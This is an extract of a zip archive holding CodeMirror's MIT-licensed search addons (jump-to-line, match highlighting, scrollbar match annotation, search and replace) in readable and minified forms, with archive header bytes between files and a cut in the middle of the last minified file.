// Distributed under an MIT license: https://codemirror.net/LICENSE

// Defines jumpToLine command. Uses dialog.js if present.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../dialog/dialog"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../dialog/dialog"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function dialog(cm, text, shortText, deflt, f) {
    if (cm.openDialog) cm.openDialog(text, f, {value: deflt,
selectValueOnOpen: true});
    else f(prompt(shortText, deflt));
  }

  function getJumpDialog(cm) {
    return cm.phrase("Jump to line:") + ' <input
type="text" style="width: 10em"
class="CodeMirror-search-field"/> <span style="color:
#888" class="CodeMirror-search-hint">' +
cm.phrase("(Use line:column or scroll% syntax)") +
'</span>';
  }

  function interpretLine(cm, string) {
    var num = Number(string)
    if (/^[-+]/.test(string)) return cm.getCursor().line + num
    else return num - 1
  }

  CodeMirror.commands.jumpToLine = function(cm) {
    var cur = cm.getCursor();
    dialog(cm, getJumpDialog(cm), cm.phrase("Jump to line:"),
(cur.line + 1) + ":" + cur.ch, function(posStr) {
      if (!posStr) return;

      var match;
      if (match = /^\s*([\+\-]?\d+)\s*\:\s*(\d+)\s*$/.exec(posStr)) {
        cm.setCursor(interpretLine(cm, match[1]), Number(match[2]))
      } else if (match = /^\s*([\+\-]?\d+(\.\d+)?)\%\s*/.exec(posStr)) {
        var line = Math.round(cm.lineCount() * Number(match[1]) / 100);
        if (/^[-+]/.test(match[1])) line = cur.line + line + 1;
        cm.setCursor(line - 1, cur.ch);
      } else if (match = /^\s*\:?\s*([\+\-]?\d+)\s*/.exec(posStr)) {
        cm.setCursor(interpretLine(cm, match[1]), cur.ch);
      }
    });
  };

  CodeMirror.keyMap["default"]["Alt-G"] =
"jumpToLine";
});
PKA��[������+codemirror/addon/search/jump-to-line.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../dialog/dialog")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../dialog/dialog"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d,selectValueOnOpen:!0}):e(prompt(c,d))}function
c(a){return a.phrase("Jump to line:")+' <input
type="text" style="width: 10em"
class="CodeMirror-search-field"/> <span style="color:
#888"
class="CodeMirror-search-hint">'+a.phrase("(Use
line:column or scroll% syntax)")+"</span>"}function
d(a,b){var
c=Number(b);return/^[-+]/.test(b)?a.getCursor().line+c:c-1}a.commands.jumpToLine=function(a){var
e=a.getCursor();b(a,c(a),a.phrase("Jump to
line:"),e.line+1+":"+e.ch,(function(b){if(b){var
c;if(c=/^\s*([\+\-]?\d+)\s*\:\s*(\d+)\s*$/.exec(b))a.setCursor(d(a,c[1]),Number(c[2]));else
if(c=/^\s*([\+\-]?\d+(\.\d+)?)\%\s*/.exec(b)){var
f=Math.round(a.lineCount()*Number(c[1])/100);/^[-+]/.test(c[1])&&(f=e.line+f+1),a.setCursor(f-1,e.ch)}else(c=/^\s*\:?\s*([\+\-]?\d+)\s*/.exec(b))&&a.setCursor(d(a,c[1]),e.ch)}}))},a.keyMap.default["Alt-G"]="jumpToLine"}));PKA��[�NEE,codemirror/addon/search/match-highlighter.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Highlighting text that matches the selection
//
// Defines an option highlightSelectionMatches, which, when enabled,
// will style strings that match the selection throughout the
// document.
//
// The option can be set to true to simply enable it, or to a
// {minChars, style, wordsOnly, showToken, delay} object to explicitly
// configure it. minChars is the minimum amount of characters that should
be
// selected for the behavior to occur, and style is the token style to
// apply to the matches. This will be prefixed by "cm-" to create
an
// actual CSS class name. If wordsOnly is enabled, the matches will be
// highlighted only if the selected text is a word. showToken, when
enabled,
// will cause the current token to be highlighted when nothing is selected.
// delay is used to specify how much time to wait, in milliseconds, before
// highlighting the matches. If annotateScrollbar is enabled, the
occurences
// will be highlighted on the scrollbar via the matchesonscrollbar addon.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./matchesonscrollbar"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"./matchesonscrollbar"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var defaults = {
    style: "matchhighlight",
    minChars: 2,
    delay: 100,
    wordsOnly: false,
    annotateScrollbar: false,
    showToken: false,
    trim: true
  }

  function State(options) {
    this.options = {}
    for (var name in defaults)
      this.options[name] = (options && options.hasOwnProperty(name)
? options : defaults)[name]
    this.overlay = this.timeout = null;
    this.matchesonscroll = null;
    this.active = false;
  }

  CodeMirror.defineOption("highlightSelectionMatches", false,
function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      removeOverlay(cm);
      clearTimeout(cm.state.matchHighlighter.timeout);
      cm.state.matchHighlighter = null;
      cm.off("cursorActivity", cursorActivity);
      cm.off("focus", onFocus)
    }
    if (val) {
      var state = cm.state.matchHighlighter = new State(val);
      if (cm.hasFocus()) {
        state.active = true
        highlightMatches(cm)
      } else {
        cm.on("focus", onFocus)
      }
      cm.on("cursorActivity", cursorActivity);
    }
  });

  function cursorActivity(cm) {
    var state = cm.state.matchHighlighter;
    if (state.active || cm.hasFocus()) scheduleHighlight(cm, state)
  }

  function onFocus(cm) {
    var state = cm.state.matchHighlighter
    if (!state.active) {
      state.active = true
      scheduleHighlight(cm, state)
    }
  }

  function scheduleHighlight(cm, state) {
    clearTimeout(state.timeout);
    state.timeout = setTimeout(function() {highlightMatches(cm);},
state.options.delay);
  }

  function addOverlay(cm, query, hasBoundary, style) {
    var state = cm.state.matchHighlighter;
    cm.addOverlay(state.overlay = makeOverlay(query, hasBoundary, style));
    if (state.options.annotateScrollbar &&
cm.showMatchesOnScrollbar) {
      var searchFor = hasBoundary ? new RegExp((/\w/.test(query.charAt(0))
? "\\b" : "") +
                                              
query.replace(/[\\\[.+*?(){|^$]/g, "\\$&") +
                                              
(/\w/.test(query.charAt(query.length - 1)) ? "\\b" :
"")) : query;
      state.matchesonscroll = cm.showMatchesOnScrollbar(searchFor, false,
        {className: "CodeMirror-selection-highlight-scrollbar"});
    }
  }

  function removeOverlay(cm) {
    var state = cm.state.matchHighlighter;
    if (state.overlay) {
      cm.removeOverlay(state.overlay);
      state.overlay = null;
      if (state.matchesonscroll) {
        state.matchesonscroll.clear();
        state.matchesonscroll = null;
      }
    }
  }

  function highlightMatches(cm) {
    cm.operation(function() {
      var state = cm.state.matchHighlighter;
      removeOverlay(cm);
      if (!cm.somethingSelected() && state.options.showToken) {
        var re = state.options.showToken === true ? /[\w$]/ :
state.options.showToken;
        var cur = cm.getCursor(), line = cm.getLine(cur.line), start =
cur.ch, end = start;
        while (start && re.test(line.charAt(start - 1))) --start;
        while (end < line.length && re.test(line.charAt(end)))
++end;
        if (start < end)
          addOverlay(cm, line.slice(start, end), re, state.options.style);
        return;
      }
      var from = cm.getCursor("from"), to =
cm.getCursor("to");
      if (from.line != to.line) return;
      if (state.options.wordsOnly && !isWord(cm, from, to)) return;
      var selection = cm.getRange(from, to)
      if (state.options.trim) selection = selection.replace(/^\s+|\s+$/g,
"")
      if (selection.length >= state.options.minChars)
        addOverlay(cm, selection, false, state.options.style);
    });
  }

  function isWord(cm, from, to) {
    var str = cm.getRange(from, to);
    if (str.match(/^\w+$/) !== null) {
        if (from.ch > 0) {
            var pos = {line: from.line, ch: from.ch - 1};
            var chr = cm.getRange(pos, from);
            if (chr.match(/\W/) === null) return false;
        }
        if (to.ch < cm.getLine(from.line).length) {
            var pos = {line: to.line, ch: to.ch + 1};
            var chr = cm.getRange(to, pos);
            if (chr.match(/\W/) === null) return false;
        }
        return true;
    } else return false;
  }

  function boundariesAround(stream, re) {
    return (!stream.start || !re.test(stream.string.charAt(stream.start -
1))) &&
      (stream.pos == stream.string.length ||
!re.test(stream.string.charAt(stream.pos)));
  }

  function makeOverlay(query, hasBoundary, style) {
    return {token: function(stream) {
      if (stream.match(query) &&
          (!hasBoundary || boundariesAround(stream, hasBoundary)))
        return style;
      stream.next();
      stream.skipTo(query.charAt(0)) || stream.skipToEnd();
    }};
  }
});
PKA��[p)u:�
�
0codemirror/addon/search/match-highlighter.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./matchesonscrollbar")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./matchesonscrollbar"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){this.options={};for(var b in
l)this.options[b]=(a&&a.hasOwnProperty(b)?a:l)[b];this.overlay=this.timeout=null,this.matchesonscroll=null,this.active=!1}function
c(a){var
b=a.state.matchHighlighter;(b.active||a.hasFocus())&&e(a,b)}function
d(a){var b=a.state.matchHighlighter;b.active||(b.active=!0,e(a,b))}function
e(a,b){clearTimeout(b.timeout),b.timeout=setTimeout((function(){h(a)}),b.options.delay)}function
f(a,b,c,d){var
e=a.state.matchHighlighter;if(a.addOverlay(e.overlay=k(b,c,d)),e.options.annotateScrollbar&&a.showMatchesOnScrollbar){var
f=c?new
RegExp((/\w/.test(b.charAt(0))?"\\b":"")+b.replace(/[\\\[.+*?(){|^$]/g,"\\$&")+(/\w/.test(b.charAt(b.length-1))?"\\b":"")):b;e.matchesonscroll=a.showMatchesOnScrollbar(f,!1,{className:"CodeMirror-selection-highlight-scrollbar"})}}function
g(a){var
b=a.state.matchHighlighter;b.overlay&&(a.removeOverlay(b.overlay),b.overlay=null,b.matchesonscroll&&(b.matchesonscroll.clear(),b.matchesonscroll=null))}function
h(a){a.operation((function(){var
b=a.state.matchHighlighter;if(g(a),!a.somethingSelected()&&b.options.showToken){for(var
c=!0===b.options.showToken?/[\w$]/:b.options.showToken,d=a.getCursor(),e=a.getLine(d.line),h=d.ch,j=h;h&&c.test(e.charAt(h-1));)--h;for(;j<e.length&&c.test(e.charAt(j));)++j;return
void(h<j&&f(a,e.slice(h,j),c,b.options.style))}var
k=a.getCursor("from"),l=a.getCursor("to");if(k.line==l.line&&(!b.options.wordsOnly||i(a,k,l))){var
m=a.getRange(k,l);b.options.trim&&(m=m.replace(/^\s+|\s+$/g,"")),m.length>=b.options.minChars&&f(a,m,!1,b.options.style)}}))}function
i(a,b,c){if(null!==a.getRange(b,c).match(/^\w+$/)){if(b.ch>0){var
d={line:b.line,ch:b.ch-1},e=a.getRange(d,b);if(null===e.match(/\W/))return!1}if(c.ch<a.getLine(b.line).length){var
d={line:c.line,ch:c.ch+1},e=a.getRange(c,d);if(null===e.match(/\W/))return!1}return!0}return!1}function
j(a,b){return!(a.start&&b.test(a.string.charAt(a.start-1))||a.pos!=a.string.length&&b.test(a.string.charAt(a.pos)))}function
k(a,b,c){return{token:function(d){if(d.match(a)&&(!b||j(d,b)))return
c;d.next(),d.skipTo(a.charAt(0))||d.skipToEnd()}}}var
l={style:"matchhighlight",minChars:2,delay:100,wordsOnly:!1,annotateScrollbar:!1,showToken:!1,trim:!0};a.defineOption("highlightSelectionMatches",!1,(function(e,f,i){if(i&&i!=a.Init&&(g(e),clearTimeout(e.state.matchHighlighter.timeout),e.state.matchHighlighter=null,e.off("cursorActivity",c),e.off("focus",d)),f){var
j=e.state.matchHighlighter=new
b(f);e.hasFocus()?(j.active=!0,h(e)):e.on("focus",d),e.on("cursorActivity",c)}}))}));PKA��[��&���.codemirror/addon/search/matchesonscrollbar.cssnu�[���.CodeMirror-search-match
{
  background: gold;
  border-top: 1px solid orange;
  border-bottom: 1px solid orange;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  opacity: .5;
}
PKA��[���-codemirror/addon/search/matchesonscrollbar.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./searchcursor"),
require("../scroll/annotatescrollbar"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "./searchcursor",
"../scroll/annotatescrollbar"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("showMatchesOnScrollbar",
function(query, caseFold, options) {
    if (typeof options == "string") options = {className:
options};
    if (!options) options = {};
    return new SearchAnnotation(this, query, caseFold, options);
  });

  function SearchAnnotation(cm, query, caseFold, options) {
    this.cm = cm;
    this.options = options;
    var annotateOptions = {listenForChanges: false};
    for (var prop in options) annotateOptions[prop] = options[prop];
    if (!annotateOptions.className) annotateOptions.className =
"CodeMirror-search-match";
    this.annotation = cm.annotateScrollbar(annotateOptions);
    this.query = query;
    this.caseFold = caseFold;
    this.gap = {from: cm.firstLine(), to: cm.lastLine() + 1};
    this.matches = [];
    this.update = null;

    this.findMatches();
    this.annotation.update(this.matches);

    var self = this;
    cm.on("change", this.changeHandler = function(_cm, change) {
self.onChange(change); });
  }

  var MAX_MATCHES = 1000;

  SearchAnnotation.prototype.findMatches = function() {
    if (!this.gap) return;
    for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      if (match.from.line >= this.gap.to) break;
      if (match.to.line >= this.gap.from) this.matches.splice(i--, 1);
    }
    var cursor = this.cm.getSearchCursor(this.query,
CodeMirror.Pos(this.gap.from, 0), {caseFold: this.caseFold, multiline:
this.options.multiline});
    var maxMatches = this.options && this.options.maxMatches ||
MAX_MATCHES;
    while (cursor.findNext()) {
      var match = {from: cursor.from(), to: cursor.to()};
      if (match.from.line >= this.gap.to) break;
      this.matches.splice(i++, 0, match);
      if (this.matches.length > maxMatches) break;
    }
    this.gap = null;
  };

  function offsetLine(line, changeStart, sizeChange) {
    if (line <= changeStart) return line;
    return Math.max(changeStart, line + sizeChange);
  }

  SearchAnnotation.prototype.onChange = function(change) {
    var startLine = change.from.line;
    var endLine = CodeMirror.changeEnd(change).line;
    var sizeChange = endLine - change.to.line;
    if (this.gap) {
      this.gap.from = Math.min(offsetLine(this.gap.from, startLine,
sizeChange), change.from.line);
      this.gap.to = Math.max(offsetLine(this.gap.to, startLine,
sizeChange), change.from.line);
    } else {
      this.gap = {from: change.from.line, to: endLine + 1};
    }

    if (sizeChange) for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      var newFrom = offsetLine(match.from.line, startLine, sizeChange);
      if (newFrom != match.from.line) match.from = CodeMirror.Pos(newFrom,
match.from.ch);
      var newTo = offsetLine(match.to.line, startLine, sizeChange);
      if (newTo != match.to.line) match.to = CodeMirror.Pos(newTo,
match.to.ch);
    }
    clearTimeout(this.update);
    var self = this;
    this.update = setTimeout(function() { self.updateAfterChange(); },
250);
  };

  SearchAnnotation.prototype.updateAfterChange = function() {
    this.findMatches();
    this.annotation.update(this.matches);
  };

  SearchAnnotation.prototype.clear = function() {
    this.cm.off("change", this.changeHandler);
    this.annotation.clear();
  };
});
PKA��[�@~��2codemirror/addon/search/matchesonscrollbar.min.cssnu�[���.CodeMirror-search-match{background:gold;border-top:1px
solid orange;border-bottom:1px solid
orange;-moz-box-sizing:border-box;box-sizing:border-box;opacity:.5}PKA��[
����1codemirror/addon/search/matchesonscrollbar.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./searchcursor"),require("../scroll/annotatescrollbar")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./searchcursor","../scroll/annotatescrollbar"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b,c,d){this.cm=a,this.options=d;var
e={listenForChanges:!1};for(var f in
d)e[f]=d[f];e.className||(e.className="CodeMirror-search-match"),this.annotation=a.annotateScrollbar(e),this.query=b,this.caseFold=c,this.gap={from:a.firstLine(),to:a.lastLine()+1},this.matches=[],this.update=null,this.findMatches(),this.annotation.update(this.matches);var
g=this;a.on("change",this.changeHandler=function(a,b){g.onChange(b)})}function
c(a,b,c){return
a<=b?a:Math.max(b,a+c)}a.defineExtension("showMatchesOnScrollbar",(function(a,c,d){return"string"==typeof
d&&(d={className:d}),d||(d={}),new
b(this,a,c,d)}));b.prototype.findMatches=function(){if(this.gap){for(var
b=0;b<this.matches.length;b++){var
c=this.matches[b];if(c.from.line>=this.gap.to)break;c.to.line>=this.gap.from&&this.matches.splice(b--,1)}for(var
d=this.cm.getSearchCursor(this.query,a.Pos(this.gap.from,0),{caseFold:this.caseFold,multiline:this.options.multiline}),e=this.options&&this.options.maxMatches||1e3;d.findNext();){var
c={from:d.from(),to:d.to()};if(c.from.line>=this.gap.to)break;if(this.matches.splice(b++,0,c),this.matches.length>e)break}this.gap=null}},b.prototype.onChange=function(b){var
d=b.from.line,e=a.changeEnd(b).line,f=e-b.to.line;if(this.gap?(this.gap.from=Math.min(c(this.gap.from,d,f),b.from.line),this.gap.to=Math.max(c(this.gap.to,d,f),b.from.line)):this.gap={from:b.from.line,to:e+1},f)for(var
g=0;g<this.matches.length;g++){var
h=this.matches[g],i=c(h.from.line,d,f);i!=h.from.line&&(h.from=a.Pos(i,h.from.ch));var
j=c(h.to.line,d,f);j!=h.to.line&&(h.to=a.Pos(j,h.to.ch))}clearTimeout(this.update);var
k=this;this.update=setTimeout((function(){k.updateAfterChange()}),250)},b.prototype.updateAfterChange=function(){this.findMatches(),this.annotation.update(this.matches)},b.prototype.clear=function(){this.cm.off("change",this.changeHandler),this.annotation.clear()}}));PKA��[�)**!codemirror/addon/search/search.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Define search commands. Depends on dialog.js or another
// implementation of the openDialog method.

// Replace works a little oddly -- it will do the replace on the next
// Ctrl-G (or whatever is bound to findNext) press. You prevent a
// replace by making sure the match is no longer selected when hitting
// Ctrl-G.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./searchcursor"),
require("../dialog/dialog"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "./searchcursor",
"../dialog/dialog"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function searchOverlay(query, caseInsensitive) {
    if (typeof query == "string")
      query = new
RegExp(query.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,
"\\$&"), caseInsensitive ? "gi" : "g");
    else if (!query.global)
      query = new RegExp(query.source, query.ignoreCase ? "gi" :
"g");

    return {token: function(stream) {
      query.lastIndex = stream.pos;
      var match = query.exec(stream.string);
      if (match && match.index == stream.pos) {
        stream.pos += match[0].length || 1;
        return "searching";
      } else if (match) {
        stream.pos = match.index;
      } else {
        stream.skipToEnd();
      }
    }};
  }

  function SearchState() {
    this.posFrom = this.posTo = this.lastQuery = this.query = null;
    this.overlay = null;
  }

  function getSearchState(cm) {
    return cm.state.search || (cm.state.search = new SearchState());
  }

  function queryCaseInsensitive(query) {
    return typeof query == "string" && query ==
query.toLowerCase();
  }

  function getSearchCursor(cm, query, pos) {
    // Heuristic: if the query string is all lowercase, do a case
insensitive search.
    return cm.getSearchCursor(query, pos, {caseFold:
queryCaseInsensitive(query), multiline: true});
  }

  function persistentDialog(cm, text, deflt, onEnter, onKeyDown) {
    cm.openDialog(text, onEnter, {
      value: deflt,
      selectValueOnOpen: true,
      closeOnEnter: false,
      onClose: function() { clearSearch(cm); },
      onKeyDown: onKeyDown
    });
  }

  function dialog(cm, text, shortText, deflt, f) {
    if (cm.openDialog) cm.openDialog(text, f, {value: deflt,
selectValueOnOpen: true});
    else f(prompt(shortText, deflt));
  }

  function confirmDialog(cm, text, shortText, fs) {
    if (cm.openConfirm) cm.openConfirm(text, fs);
    else if (confirm(shortText)) fs[0]();
  }

  function parseString(string) {
    return string.replace(/\\([nrt\\])/g, function(match, ch) {
      if (ch == "n") return "\n"
      if (ch == "r") return "\r"
      if (ch == "t") return "\t"
      if (ch == "\\") return "\\"
      return match
    })
  }

  function parseQuery(query) {
    var isRE = query.match(/^\/(.*)\/([a-z]*)$/);
    if (isRE) {
      try { query = new RegExp(isRE[1], isRE[2].indexOf("i") ==
-1 ? "" : "i"); }
      catch(e) {} // Not a regular expression after all, do a string search
    } else {
      query = parseString(query)
    }
    if (typeof query == "string" ? query == "" :
query.test(""))
      query = /x^/;
    return query;
  }

  function startSearch(cm, state, query) {
    state.queryText = query;
    state.query = parseQuery(query);
    cm.removeOverlay(state.overlay, queryCaseInsensitive(state.query));
    state.overlay = searchOverlay(state.query,
queryCaseInsensitive(state.query));
    cm.addOverlay(state.overlay);
    if (cm.showMatchesOnScrollbar) {
      if (state.annotate) { state.annotate.clear(); state.annotate = null;
}
      state.annotate = cm.showMatchesOnScrollbar(state.query,
queryCaseInsensitive(state.query));
    }
  }

  function doSearch(cm, rev, persistent, immediate) {
    var state = getSearchState(cm);
    if (state.query) return findNext(cm, rev);
    var q = cm.getSelection() || state.lastQuery;
    if (q instanceof RegExp && q.source == "x^") q = null
    if (persistent && cm.openDialog) {
      var hiding = null
      var searchNext = function(query, event) {
        CodeMirror.e_stop(event);
        if (!query) return;
        if (query != state.queryText) {
          startSearch(cm, state, query);
          state.posFrom = state.posTo = cm.getCursor();
        }
        if (hiding) hiding.style.opacity = 1
        findNext(cm, event.shiftKey, function(_, to) {
          var dialog
          if (to.line < 3 && document.querySelector &&
              (dialog =
cm.display.wrapper.querySelector(".CodeMirror-dialog"))
&&
              dialog.getBoundingClientRect().bottom - 4 >
cm.cursorCoords(to, "window").top)
            (hiding = dialog).style.opacity = .4
        })
      };
      persistentDialog(cm, getQueryDialog(cm), q, searchNext,
function(event, query) {
        var keyName = CodeMirror.keyName(event)
        var extra = cm.getOption('extraKeys'), cmd = (extra
&& extra[keyName]) ||
CodeMirror.keyMap[cm.getOption("keyMap")][keyName]
        if (cmd == "findNext" || cmd == "findPrev" ||
          cmd == "findPersistentNext" || cmd ==
"findPersistentPrev") {
          CodeMirror.e_stop(event);
          startSearch(cm, getSearchState(cm), query);
          cm.execCommand(cmd);
        } else if (cmd == "find" || cmd ==
"findPersistent") {
          CodeMirror.e_stop(event);
          searchNext(query, event);
        }
      });
      if (immediate && q) {
        startSearch(cm, state, q);
        findNext(cm, rev);
      }
    } else {
      dialog(cm, getQueryDialog(cm), "Search for:", q,
function(query) {
        if (query && !state.query) cm.operation(function() {
          startSearch(cm, state, query);
          state.posFrom = state.posTo = cm.getCursor();
          findNext(cm, rev);
        });
      });
    }
  }

  function findNext(cm, rev, callback) {cm.operation(function() {
    var state = getSearchState(cm);
    var cursor = getSearchCursor(cm, state.query, rev ? state.posFrom :
state.posTo);
    if (!cursor.find(rev)) {
      cursor = getSearchCursor(cm, state.query, rev ?
CodeMirror.Pos(cm.lastLine()) : CodeMirror.Pos(cm.firstLine(), 0));
      if (!cursor.find(rev)) return;
    }
    cm.setSelection(cursor.from(), cursor.to());
    cm.scrollIntoView({from: cursor.from(), to: cursor.to()}, 20);
    state.posFrom = cursor.from(); state.posTo = cursor.to();
    if (callback) callback(cursor.from(), cursor.to())
  });}

  function clearSearch(cm) {cm.operation(function() {
    var state = getSearchState(cm);
    state.lastQuery = state.query;
    if (!state.query) return;
    state.query = state.queryText = null;
    cm.removeOverlay(state.overlay);
    if (state.annotate) { state.annotate.clear(); state.annotate = null; }
  });}


  function getQueryDialog(cm)  {
    return '<span
class="CodeMirror-search-label">' +
cm.phrase("Search:") + '</span> <input
type="text" style="width: 10em"
class="CodeMirror-search-field"/> <span style="color:
#888" class="CodeMirror-search-hint">' +
cm.phrase("(Use /re/ syntax for regexp search)") +
'</span>';
  }
  function getReplaceQueryDialog(cm) {
    return ' <input type="text" style="width:
10em" class="CodeMirror-search-field"/> <span
style="color: #888"
class="CodeMirror-search-hint">' + cm.phrase("(Use
/re/ syntax for regexp search)") + '</span>';
  }
  function getReplacementQueryDialog(cm) {
    return '<span
class="CodeMirror-search-label">' +
cm.phrase("With:") + '</span> <input
type="text" style="width: 10em"
class="CodeMirror-search-field"/>';
  }
  function getDoReplaceConfirm(cm) {
    return '<span
class="CodeMirror-search-label">' +
cm.phrase("Replace?") + '</span> <button>'
+ cm.phrase("Yes") + '</button> <button>' +
cm.phrase("No") + '</button> <button>' +
cm.phrase("All") + '</button> <button>' +
cm.phrase("Stop") + '</button> ';
  }

  function replaceAll(cm, query, text) {
    cm.operation(function() {
      for (var cursor = getSearchCursor(cm, query); cursor.findNext();) {
        if (typeof query != "string") {
          var match = cm.getRange(cursor.from(), cursor.to()).match(query);
          cursor.replace(text.replace(/\$(\d)/g, function(_, i) {return
match[i];}));
        } else cursor.replace(text);
      }
    });
  }

  function replace(cm, all) {
    if (cm.getOption("readOnly")) return;
    var query = cm.getSelection() || getSearchState(cm).lastQuery;
    var dialogText = '<span
class="CodeMirror-search-label">' + (all ?
cm.phrase("Replace all:") : cm.phrase("Replace:")) +
'</span>';
    dialog(cm, dialogText + getReplaceQueryDialog(cm), dialogText, query,
function(query) {
      if (!query) return;
      query = parseQuery(query);
      dialog(cm, getReplacementQueryDialog(cm), cm.phrase("Replace
with:"), "", function(text) {
        text = parseString(text)
        if (all) {
          replaceAll(cm, query, text)
        } else {
          clearSearch(cm);
          var cursor = getSearchCursor(cm, query,
cm.getCursor("from"));
          var advance = function() {
            var start = cursor.from(), match;
            if (!(match = cursor.findNext())) {
              cursor = getSearchCursor(cm, query);
              if (!(match = cursor.findNext()) ||
                  (start && cursor.from().line == start.line
&& cursor.from().ch == start.ch)) return;
            }
            cm.setSelection(cursor.from(), cursor.to());
            cm.scrollIntoView({from: cursor.from(), to: cursor.to()});
            confirmDialog(cm, getDoReplaceConfirm(cm),
cm.phrase("Replace?"),
                          [function() {doReplace(match);}, advance,
                           function() {replaceAll(cm, query, text)}]);
          };
          var doReplace = function(match) {
            cursor.replace(typeof query == "string" ? text :
                           text.replace(/\$(\d)/g, function(_, i) {return
match[i];}));
            advance();
          };
          advance();
        }
      });
    });
  }

  CodeMirror.commands.find = function(cm) {clearSearch(cm); doSearch(cm);};
  CodeMirror.commands.findPersistent = function(cm) {clearSearch(cm);
doSearch(cm, false, true);};
  CodeMirror.commands.findPersistentNext = function(cm) {doSearch(cm,
false, true, true);};
  CodeMirror.commands.findPersistentPrev = function(cm) {doSearch(cm, true,
true, true);};
  CodeMirror.commands.findNext = doSearch;
  CodeMirror.commands.findPrev = function(cm) {doSearch(cm, true);};
  CodeMirror.commands.clearSearch = clearSearch;
  CodeMirror.commands.replace = replace;
  CodeMirror.commands.replaceAll = function(cm) {replace(cm, true);};
});
PKA��[�t��YY%codemirror/addon/search/search.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./searchcursor"),require("../dialog/dialog")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){return"string"==typeof a?a=new
RegExp(a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),b?"gi":"g"):a.global||(a=new
RegExp(a.source,a.ignoreCase?"gi":"g")),{token:function(b){a.lastIndex=b.pos;var
c=a.exec(b.string);if(c&&c.index==b.pos)return
b.pos+=c[0].length||1,"searching";c?b.pos=c.index:b.skipToEnd()}}}function
c(){this.posFrom=this.posTo=this.lastQuery=this.query=null,this.overlay=null}function
d(a){return a.state.search||(a.state.search=new c)}function
e(a){return"string"==typeof
a&&a==a.toLowerCase()}function f(a,b,c){return
a.getSearchCursor(b,c,{caseFold:e(b),multiline:!0})}function
g(a,b,c,d,e){a.openDialog(b,d,{value:c,selectValueOnOpen:!0,closeOnEnter:!1,onClose:function(){o(a)},onKeyDown:e})}function
h(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d,selectValueOnOpen:!0}):e(prompt(c,d))}function
i(a,b,c,d){a.openConfirm?a.openConfirm(b,d):confirm(c)&&d[0]()}function
j(a){return
a.replace(/\\([nrt\\])/g,(function(a,b){return"n"==b?"\n":"r"==b?"\r":"t"==b?"\t":"\\"==b?"\\":a}))}function
k(a){var b=a.match(/^\/(.*)\/([a-z]*)$/);if(b)try{a=new
RegExp(b[1],-1==b[2].indexOf("i")?"":"i")}catch(a){}else
a=j(a);return("string"==typeof
a?""==a:a.test(""))&&(a=/x^/),a}function
l(a,c,d){c.queryText=d,c.query=k(d),a.removeOverlay(c.overlay,e(c.query)),c.overlay=b(c.query,e(c.query)),a.addOverlay(c.overlay),a.showMatchesOnScrollbar&&(c.annotate&&(c.annotate.clear(),c.annotate=null),c.annotate=a.showMatchesOnScrollbar(c.query,e(c.query)))}function
m(b,c,e,f){var i=d(b);if(i.query)return n(b,c);var
j=b.getSelection()||i.lastQuery;if(j instanceof
RegExp&&"x^"==j.source&&(j=null),e&&b.openDialog){var
k=null,m=function(c,d){a.e_stop(d),c&&(c!=i.queryText&&(l(b,i,c),i.posFrom=i.posTo=b.getCursor()),k&&(k.style.opacity=1),n(b,d.shiftKey,(function(a,c){var
d;c.line<3&&document.querySelector&&(d=b.display.wrapper.querySelector(".CodeMirror-dialog"))&&d.getBoundingClientRect().bottom-4>b.cursorCoords(c,"window").top&&((k=d).style.opacity=.4)})))};g(b,p(b),j,m,(function(c,e){var
